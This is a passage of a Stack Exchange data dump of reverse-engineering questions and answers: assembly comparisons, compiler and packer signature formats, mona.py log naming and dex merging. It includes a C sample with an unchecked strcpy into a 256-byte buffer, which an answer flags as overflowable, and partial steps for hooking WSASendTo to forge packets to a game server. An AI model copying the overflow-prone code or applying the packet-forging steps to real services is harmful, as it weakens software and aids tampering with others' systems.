src=&quot;https://i.stack.imgur.com/mB3yP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-08-10T18:19:48.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16058" PostTypeId="1" CreationDate="2017-08-10T20:14:24.893" Score="3" ViewCount="278" Body="&lt;p&gt;Is it possible to have mona.py save the output from a specific command to a specific file. So for example if I wanted to run multiple compare commands could I have them all saved to different output files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it works presently is that they would get saved as compare.txt, compare.txt.old, compare.txt.old2 etc. I basically want to know if its possible to set them to output as compare.txt, compare1.txt etc so I dont need to go around deleting all the .old extensions.&lt;/p&gt;&#xA;" OwnerUserId="21197" LastActivityDate="2017-08-11T09:11:11.907" Title="Is it possible to name mona output files?" Tags="|immunity-debugger|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16059" PostTypeId="1" AcceptedAnswerId="16070" CreationDate="2017-08-11T01:18:02.633" Score="1" ViewCount="1738" Body="&lt;p&gt;After reading a number of blog posts, forums, and watching tutorials I figured I would start learning to reverse software the old fashion way.  Creating simple C files and looking at their disassembly.  In my quest to truly understand reversing, I thought also comparing optimized and unoptimized code would be beneficial.  While looking through I came across a couple lines of code that appear to do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love if someone can explain what the &quot;mov&quot;[es] in the unoptimized code is doing.  All of these were disassembled using Hopper v4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #include &amp;lt;stdio.h&amp;gt;&#xA;&#xA; int main(int arg, char** arg) {&#xA;    printf(&quot;Hello World!\n&quot;);&#xA;    return 0;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unoptimized Code (gcc -m32) :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Variables:&#xA;        ;    arg_4: 12&#xA;        ;    arg_0: 8&#xA;        ;    var_4: -4&#xA;        ;    var_8: -8&#xA;        ;    var_C: -12&#xA;        ;    var_10: -16&#xA;        ;    var_18: -24&#xA;push       ebp&#xA;mov        ebp, esp&#xA;sub        esp, 0x18&#xA;call       _main+11&#xA;pop        eax                            ; CODE XREF=_main+6&#xA;&#xA;-- What purpose do these moves serve? --&#xA;mov        ecx, dword [ebp+arg_4]&#xA;mov        edx, dword [ebp+arg_0]&#xA;--                                    --&#xA;lea        eax, dword [eax-0x1f5b+0x1fa6] ; &quot;Hello World!\\n&quot;&#xA;-- And what do these moves also serve? --&#xA;mov        dword [ebp+var_4], 0x0&#xA;mov        dword [ebp+var_8], edx&#xA;mov        dword [ebp+var_C], ecx&#xA;--                                    --&#xA;mov        dword [esp+0x18+var_18], eax  ; method imp___symbol_stub__printf&#xA;call       imp___symbol_stub__printf&#xA;xor        ecx, ecx                           &#xA;mov        dword [ebp+var_10], eax&#xA;mov        eax, ecx                                    &#xA;add        esp, 0x18                           &#xA;pop        ebp&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Optimized Code (gcc -m32 -O3):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push       ebp&#xA;mov        ebp, esp&#xA;sub        esp, 0x8&#xA;call       _main+11&#xA;pop        eax                             ; CODE XREF=_main+6&#xA;lea        eax, dword [eax-0x1f6b+0x1f9e]  ; &quot;Hello World!&quot;&#xA;mov        dword [esp+0x8+var_8], eax      ; &quot;%s&quot; for imp___symbol_stub__puts&#xA;call       imp___symbol_stub__puts&#xA;xor        eax, eax&#xA;add        esp, 0x8&#xA;pop        eep&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13934" LastActivityDate="2017-08-11T17:31:57.793" Title="Optimized vs Unoptimized code comparison" Tags="|x86|intel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16060" PostTypeId="1" CreationDate="2017-08-11T05:33:00.800" Score="8" ViewCount="5147" Body="&lt;p&gt;&lt;strong&gt;How tools like PEiD and CFF explorer find out the compiler and its version.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am analyzing a executable file. Which shows: Borland Delphi 3.0 &#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZGieG.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGieG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the section names .text .rsrc. Which is usually not get generated by Borland Delphi compiler.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MJ8aV.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJ8aV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the file version info is modified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But how these tools find out the compiler version ??&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="21199" LastActivityDate="2017-08-11T08:11:49.920" Title="How tools like PEiD find out the compiler and its version." Tags="|windows|malware|pe|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16061" PostTypeId="2" ParentId="16060" CreationDate="2017-08-11T08:11:49.920" Score="10" Body="&lt;p&gt;The signature database of many Compiler and Packer detectors, and sometimes even their source-code, is freely available and you can actually read the signatures in clear-text.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Genrally, the detector performs very naive checks to detect the compiler/linker/protector/etc which based on a preset mask of bytes. The mask is combined from a sequence of bytes and wildcards that usually represents a magic number, a piece of code or a string that gives information about the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand it better let's look at different detections to Borland 3.0 by different detectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PEiD&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Borland Delphi v3.0]&#xA;signature = 50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0&#xA;ep_only = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to detect Borland Delphi v3.0, PEiD is searching for this sequence of bytes in the entry point of the binary. The '??' are wildcards used to ignore the bytes in these locations because they might not be the same in different binaries.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can find the databse of PEiD &lt;a href=&quot;https://raw.githubusercontent.com/ynadji/peid/master/userdb.txt&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CFF Explorer&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ENTRY&amp;gt;&#xA;    &amp;lt;NAME&amp;gt;Borland Delphi v3.0&amp;lt;/NAME&amp;gt;&#xA;    &amp;lt;COMMENTS /&amp;gt;&#xA;    &amp;lt;ENTRYPOINT&amp;gt;506A??E8????FFFFBA????????528905????????894204E8????????5A58E8????????C3558BEC33C0&amp;lt;/ENTRYPOINT&amp;gt;&#xA;    &amp;lt;ENTIREPE /&amp;gt;&#xA;&amp;lt;/ENTRY&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although the format of the signature might look different then &lt;em&gt;PEiD&lt;/em&gt;'s, it is actually the same mask as in the previous example.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can usually find the signatures database of &lt;em&gt;CFF explorer&lt;/em&gt; in the&#xA;  following path &lt;em&gt;C:\Users\Public\Documents\Explorer&#xA;  Suite\Signatures\IMAGE_FILE_MACHINE_I386.xml&lt;/em&gt; or in &lt;em&gt;/Signatures/IMAGE_FILE_MACHINE_I386.xml&lt;/em&gt; although it&#xA;  may be different in your installation. You can also find it online&#xA;  &lt;a href=&quot;https://github.com/uxmal/reko/blob/master/src/Decompiler/Loading/Signatures/IMAGE_FILE_MACHINE_I386.xml&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.   Read &lt;a href=&quot;http://www.codelooker.com/dfilec/2204CFFExplorer/SignaturesTechnicalDetails.pdf&quot; rel=&quot;noreferrer&quot;&gt;this PDF&lt;/a&gt; for more technical information about&#xA;  the signatures and how the used in &lt;em&gt;CFF Explorer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Detect It Easy:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Detect It Easy&lt;/em&gt; is more complex, rich and accurate detector (in my opinion) which uses &quot;scripts&quot; to detect the type of the program. The detection algorithm of &lt;em&gt;DIE&lt;/em&gt; is more complex then the others and doesn't use only byte-mask to detect the Compiler/Linker/Packer/etc.&lt;br&gt;&#xA;You can see how &lt;em&gt;DIE&lt;/em&gt; detects &lt;em&gt;Borland Delphi&lt;/em&gt; in the &lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy/blob/be67f3c71455e561175639456021e57ddb2b35ae/db/PE/Delphi.4.sg&quot; rel=&quot;noreferrer&quot;&gt;following signature&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signature of Borland Delphi is too long so I'll show here another example of a signature, the signature of &lt;em&gt;NTKrnl Protector&lt;/em&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// DIE's signature file&#xA;&#xA;init(&quot;protector&quot;,&quot;NTkrnl Protector&quot;);&#xA;&#xA;function detect(bShowType,bShowVersion,bShowOptions)&#xA;{&#xA;    if(PE.compareEP(&quot;68........e8&quot;)&amp;amp;&amp;amp;(PE.nLastSection&amp;gt;=1))&#xA;    {&#xA;        if(PE.getNumberOfImports()==1)&#xA;        {&#xA;            if(PE.getNumberOfImportThunks(0)==2)&#xA;            {&#xA;                if((PE.getImportFunctionName(0,0)==&quot;LoadLibraryA&quot;)&amp;amp;&amp;amp;(PE.getImportFunctionName(0,1)==&quot;GetProcAddress&quot;))&#xA;                {&#xA;                    if(PE.isSignatureInSectionPresent(1,&quot;'http://www.ntcore.com  '&quot;))&#xA;                    {&#xA;                        sVersion=&quot;0.1&quot;;&#xA;                        bDetected=1;&#xA;                    }&#xA;                    else if(PE.isSignatureInSectionPresent(1,&quot;'http://www.ntkrnl.com'&quot;))&#xA;                    {&#xA;                        sVersion=&quot;0.15&quot;;&#xA;                        bDetected=1;&#xA;                    }&#xA;                    /* if(bDetected)&#xA;                    {&#xA;                        var nFind=PE.findString(PE.section[1].FileOffset,PE.section[1].FileSize,&quot;Version &quot;);&#xA;                        if(nFind!=-1)&#xA;                        {&#xA;                            sVersion=PE.getString(nFind,20);&#xA;                            var aVersion=sVersion.match(/Version ?(.*?) /);&#xA;                            sVersion=aVersion[1];&#xA;                        }&#xA;                    } */&#xA;                }&#xA;&#xA;            }&#xA;        }&#xA;    }&#xA;    /*if(PE.compareEP(&quot;68........e8........c3&quot;)&amp;amp;&amp;amp;(PE.compareEP(&quot;68########60e8$$$$$$$$5d4555c3&quot;)))&#xA;    {&#xA;        bDetected=1;&#xA;    } */&#xA;&#xA;    return result(bShowType,bShowVersion,bShowOptions);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can read more about &lt;em&gt;Detect it Easy&lt;/em&gt; in its &lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot; rel=&quot;noreferrer&quot;&gt;Github&#xA;  repository&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Remember that most of the times the bytes in the binary which represent the type of the file can be replaced without harming the functionality of the program. There are even many programs like &lt;em&gt;GcPH&lt;/em&gt;, &lt;em&gt;PseudoSigner&lt;/em&gt; and &lt;em&gt;DotFix FakeSigner&lt;/em&gt; that try to fool Packer Detectors like the mentioned above. Some of the detectors might actually detect some of these anti-detectors in what seems like cat and mouse game.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how PEiD detects PseudoSigner for Delphi 3.0:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[PseudoSigner 0.1 [Borland Delphi 3.0]&#xA;signature = 55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90&#xA;ep_only = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-11T08:11:49.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16062" PostTypeId="2" ParentId="16058" CreationDate="2017-08-11T09:11:11.907" Score="3" Body="&lt;p&gt;Since Mona's source is &lt;a href=&quot;https://github.com/corelan/mona/blob/master/mona.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;available on Github&lt;/a&gt; you can easily modify the code to fit your needs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that responsible to save the files can be found (currently) in &lt;a href=&quot;https://github.com/corelan/mona/blob/master/mona.py#L2477&quot; rel=&quot;nofollow noreferrer&quot;&gt;line 2477&lt;/a&gt; inside the class MnLog. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    if os.path.exists(logfile):&#xA;        try:&#xA;            os.delete(logfile+&quot;.old&quot;)&#xA;        except:&#xA;            pass&#xA;        try:&#xA;            os.rename(logfile,logfile+&quot;.old&quot;)&#xA;        except:&#xA;            try:&#xA;                os.rename(logfile,logfile+&quot;.old2&quot;)&#xA;            except:&#xA;                pass&#xA;except:&#xA;    pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can download the file and modify the code as you wish. For example the following modification will change the files from &lt;code&gt;compare.txt.old&lt;/code&gt; and &lt;code&gt;compare.txt.old2&lt;/code&gt; to &lt;code&gt;compare1.txt&lt;/code&gt; and &lt;code&gt;compare2.txt&lt;/code&gt; accordingly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if os.path.exists(logfile):&#xA;    try:&#xA;        os.delete(logfile[:-4] + &quot;1.txt&quot;)&#xA;        pass&#xA;    try:&#xA;        os.rename(logfile,logfile[:-4] + &quot;1.txt&quot;)&#xA;    except:&#xA;        try:&#xA;            os.rename(logfile,logfile[:-4] + &quot;2.txt&quot;)&#xA;        except:&#xA;            pass&#xA;except:&#xA;    pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;[:-4]&lt;/code&gt; to remove the last four chars from the filename (from 'compare.txt' to 'compare') and appended &lt;code&gt;1.txt&lt;/code&gt; and &lt;code&gt;2.txt&lt;/code&gt; instead of &lt;code&gt;.old&lt;/code&gt; and &lt;code&gt;.old2&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I didn't check whether the modified code actually works, but it supposed to - and if not, the concept is what important here.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-11T09:11:11.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16063" PostTypeId="1" CreationDate="2017-08-11T09:35:48.863" Score="1" ViewCount="666" Body="&lt;p&gt;I have written two simple C programs (one with an &lt;code&gt;if&lt;/code&gt; and one without).  Looking at the assembly differences there are a few lines that I can't manage to explain and was hoping to get some assistance.  The &lt;code&gt;if&lt;/code&gt; based C code is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;        char buffer[256];&#xA;        if(sizeof(buffer) &amp;gt;= sizeof(argv[1])) {&#xA;                strcpy(buffer, argv[1]);&#xA;                printf(&quot;%s\n&quot;, buffer);&#xA;       }&#xA;       return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly for this is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#   0x4005d6 &amp;lt;main&amp;gt;         push   rbp&#xA;#   0x4005d7 &amp;lt;main+1&amp;gt;       mov    rbp,rsp&#xA;#   0x4005da &amp;lt;main+4&amp;gt;       sub    rsp,0x120&#xA;#   0x4005e1 &amp;lt;main+11&amp;gt;      mov    DWORD PTR [rbp-0x114],edi&#xA;#   0x4005e7 &amp;lt;main+17&amp;gt;      mov    QWORD PTR [rbp-0x120],rsi&#xA;#   0x4005ee &amp;lt;main+24&amp;gt;      mov    rax,QWORD PTR fs:0x28&#xA;&#xA;    0x4005f7 &amp;lt;main+33&amp;gt;      mov    QWORD PTR [rbp-0x8],rax&#xA;    0x4005fb &amp;lt;main+37&amp;gt;      xor    eax,eax&#xA;    0x4005fd &amp;lt;main+39&amp;gt;      mov    rax,QWORD PTR [rbp-0x120]&#xA;&#xA;#   0x400604 &amp;lt;main+46&amp;gt;      add    rax,0x8&#xA;#   0x400608 &amp;lt;main+50&amp;gt;      mov    rdx,QWORD PTR [rax]&#xA;#   0x40060b &amp;lt;main+53&amp;gt;      lea    rax,[rbp-0x110]&#xA;#   0x400612 &amp;lt;main+60&amp;gt;      mov    rsi,rdx&#xA;#   0x400615 &amp;lt;main+63&amp;gt;      mov    rdi,rax&#xA;#   0x400618 &amp;lt;main+66&amp;gt;      call   0x400490 &amp;lt;strcpy@plt&amp;gt;&#xA;#   0x40061d &amp;lt;main+71&amp;gt;      lea    rax,[rbp-0x110]&#xA;#   0x400624 &amp;lt;main+78&amp;gt;      mov    rdi,rax&#xA;#   0x400627 &amp;lt;main+81&amp;gt;      call   0x4004a0 &amp;lt;puts@plt&amp;gt;&#xA;#   0x40062c &amp;lt;main+86&amp;gt;      mov    eax,0x0&#xA;&#xA;    0x400631 &amp;lt;main+91&amp;gt;       mov    rcx,QWORD PTR [rbp-0x8]&#xA;    0x400635 &amp;lt;main+95&amp;gt;       xor    rcx,QWORD PTR fs:0x28&#xA;    0x40063e &amp;lt;main+104&amp;gt;      je     0x400645 &amp;lt;main+111&amp;gt;&#xA;    0x400640 &amp;lt;main+106&amp;gt;      call   0x4004b0 &amp;lt;__stack_chk_fail@plt&amp;gt;&#xA;&#xA;#   0x400645 &amp;lt;main+111&amp;gt;     leave&#xA;#   0x400646 &amp;lt;main+112&amp;gt;     ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parts of the assembly with &lt;code&gt;#&lt;/code&gt; are exactly the same as the code without the if statement (I included it for ease and readability).  The lines that have me confused are line &lt;code&gt;main+91&lt;/code&gt; through &lt;code&gt;main+106&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get why an if statement would somehow add these bits and was hoping for a little insight.&lt;/p&gt;&#xA;" OwnerUserId="21204" LastEditorUserId="53" LastEditDate="2017-08-11T13:27:15.667" LastActivityDate="2017-08-11T13:27:47.843" Title="Understanding an if statement in assembly" Tags="|disassembly|assembly|c|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16064" PostTypeId="1" CreationDate="2017-08-11T10:03:16.873" Score="1" ViewCount="2938" Body="&lt;p&gt;Most apk files, when disassembled, produces 2 dex files instead of one. However since IDA Pro only allows the loading of one dex file at a time,it may result in missing information as a result of the other dex file not being loaded. Are there any way to combine these 2 dex files into one so that I can load the complete dex file into IDA Pro? I tried disassembling both dex files to smali files and then using smali.jar to combine these smali files again into one single dex file but I am facing the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception in thread &quot;main&quot; org.jf.util.ExceptionWithContext: Exception occurred&#xA;while writing code_item for method Ladyen/com/adyencse/pojo/Card;-&amp;gt;serialize(Lja&#xA;va/lang/String;)Ljava/lang/String;&#xA;        at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java&#xA;:824)&#xA;        at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:267)&#xA;        at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:245)&#xA;        at org.jf.smali.Smali.assemble(Smali.java:130)&#xA;        at org.jf.smali.AssembleCommand.run(AssembleCommand.java:96)&#xA;        at org.jf.smali.Main.main(Main.java:99)&#xA;Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at&#xA;code offset 0x2&#xA;        at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1091)&#xA;        at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java&#xA;:820)&#xA;        ... 5 more&#xA;Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range:&#xA;70784&#xA;        at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:11&#xA;6)&#xA;        at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:&#xA;348)&#xA;        at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1051)&#xA;        ... 6 more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20823" LastActivityDate="2017-09-12T13:25:15.197" Title="How to combine 2 dex files into a single dex file for more complete disassembly by IDA Pro" Tags="|ida|android|java|apk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16065" PostTypeId="2" ParentId="16063" CreationDate="2017-08-11T11:56:18.310" Score="3" Body="&lt;p&gt;The code you are referring to is a check for &lt;code&gt;argv[1]&lt;/code&gt; being initialized most likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem here is that you are actually comparing two static numbers, i.e. &lt;code&gt;sizeof(argv[1])&lt;/code&gt; is going to ALWAYS be the same (and also smaller than 256), no matter what the &lt;code&gt;argv[1]&lt;/code&gt; is. The compiler knows this, thus omits the whole 'if' statement. It should also segfault / have undefined behavior if there is no &lt;code&gt;argv[1]&lt;/code&gt;. Needless to say, you can easily buffer overflow here..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really wanted to do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...   &#xA;if(sizeof(buffer) &amp;gt; strlen(argv[1])){    &#xA;... &#xA;}&#xA;...   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reason for '&lt;code&gt;&amp;gt;&lt;/code&gt;' and not '&lt;code&gt;&amp;gt;=&lt;/code&gt;' is that the null terminated string needs the null terminator, which is not accounted for when calculating the &lt;code&gt;strlen()&lt;/code&gt; (or add one).&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="53" LastEditDate="2017-08-11T13:20:29.727" LastActivityDate="2017-08-11T13:20:29.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16066" PostTypeId="1" CreationDate="2017-08-11T11:59:28.580" Score="2" ViewCount="58" Body="&lt;p&gt;I need some help identifying this IC. It comes from a bladeless fan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is presumably a 230V Power MOSFET(?) element connected to the FCM8201 Three-Phase Sine-Wave BLDC Motor Controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thick top traces come from a capacitor connected to the rectified 230V AC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More photos on the &lt;a href=&quot;http://www.eevblog.com/forum/repair/bladeless-fan-repair-help-needed/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EEVBlog Forum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mcdZt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mcdZt.png&quot; alt=&quot;front view&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tTEVx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTEVx.png&quot; alt=&quot;back view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21205" LastActivityDate="2017-08-11T11:59:28.580" Title="Identify a 320V DC Brushless IC Power MOSFET(?) Driver" Tags="|integrated-circuit|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16067" PostTypeId="2" ParentId="16063" CreationDate="2017-08-11T13:10:03.343" Score="3" Body="&lt;p&gt;Just to add on Sigtran answer, part of the assembly code you are pinpointing is coming from the stack-smashing protection. It seems that you have it enabled by default on your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to recompile your code with the option: &lt;code&gt;-fno-stack-protector&lt;/code&gt; and look at the assembly again. It should clean out most of these lines that you do not understand (if not all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;: If you want a more detailed answer about what does this code, feel free to add a comment to my answer and I will detail these lines in my answer.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-08-11T13:27:47.843" LastActivityDate="2017-08-11T13:27:47.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16068" PostTypeId="2" ParentId="16032" CreationDate="2017-08-11T15:09:44.767" Score="3" Body="&lt;p&gt;First of all the statement &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the packet that the server expect does not match from what the client sent, the server will disconnect you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;makes no sense.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would the server know what you are going to send to him?&lt;br&gt;&#xA;Maybe you ment that the server disconnects you if you malform the packet (change the structure of the packet - or, for example, by disabling the packet encryption - in this case the server would try to decrypt it and would get non interpretable results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So to answer your question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO you have two possible ways to achieve your goal:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the function that creates the packet before it is encrypted and use it to send your own data.&lt;/li&gt;&#xA;&lt;li&gt;Understand how the network protocol and cryptography of your game works and rebuild it in your own program.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you use the first option since it's the simpler one. While the second option provides you more flexibility I don't think it's feasable for you since you said &lt;code&gt;but I don't know how to translate them into a higher level language like c++.&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only provide you with general instructions since you didn't post much information about your target (name, some assembly snippets, if it uses TCP or UDP, ..):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a dynamic debugger to find the function mentioned in #1. I prefer &lt;a href=&quot;https://x64dbg.com&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;x64dbg&quot;&gt;x64dbg&lt;/a&gt; since it works for both, x86 and x64 bit applications.&lt;/li&gt;&#xA;&lt;li&gt;Set a breakpoint on the socket send function. Which send function is used depends on your game but possible candidates are &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms740149(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;send msdn&quot;&gt;send&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms740148(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;sendto msdn&quot;&gt;sendto&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/ms742203(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;WSASend msdn&quot;&gt;WSASend&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms741693(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;WSASendTo msdn&quot;&gt;WSASendTo&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Find the used send function by placing a breakpoint on all of them and watch which bp triggers. Now you know which function is used to send the data to the game server. I'll use &lt;code&gt;WSASendTo&lt;/code&gt; in this example since it's very common in modern udp applications (I assume your game uses UDP - I could be wrong tho).&lt;/li&gt;&#xA;&lt;li&gt;As you know by the documentation of &lt;code&gt;WSASendTo&lt;/code&gt; the function takes a pointer to one or more &lt;code&gt;WSABUF&lt;/code&gt; structures as second argument. Usually it's just one &lt;code&gt;WSABUF&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Since almost every windows api function is a 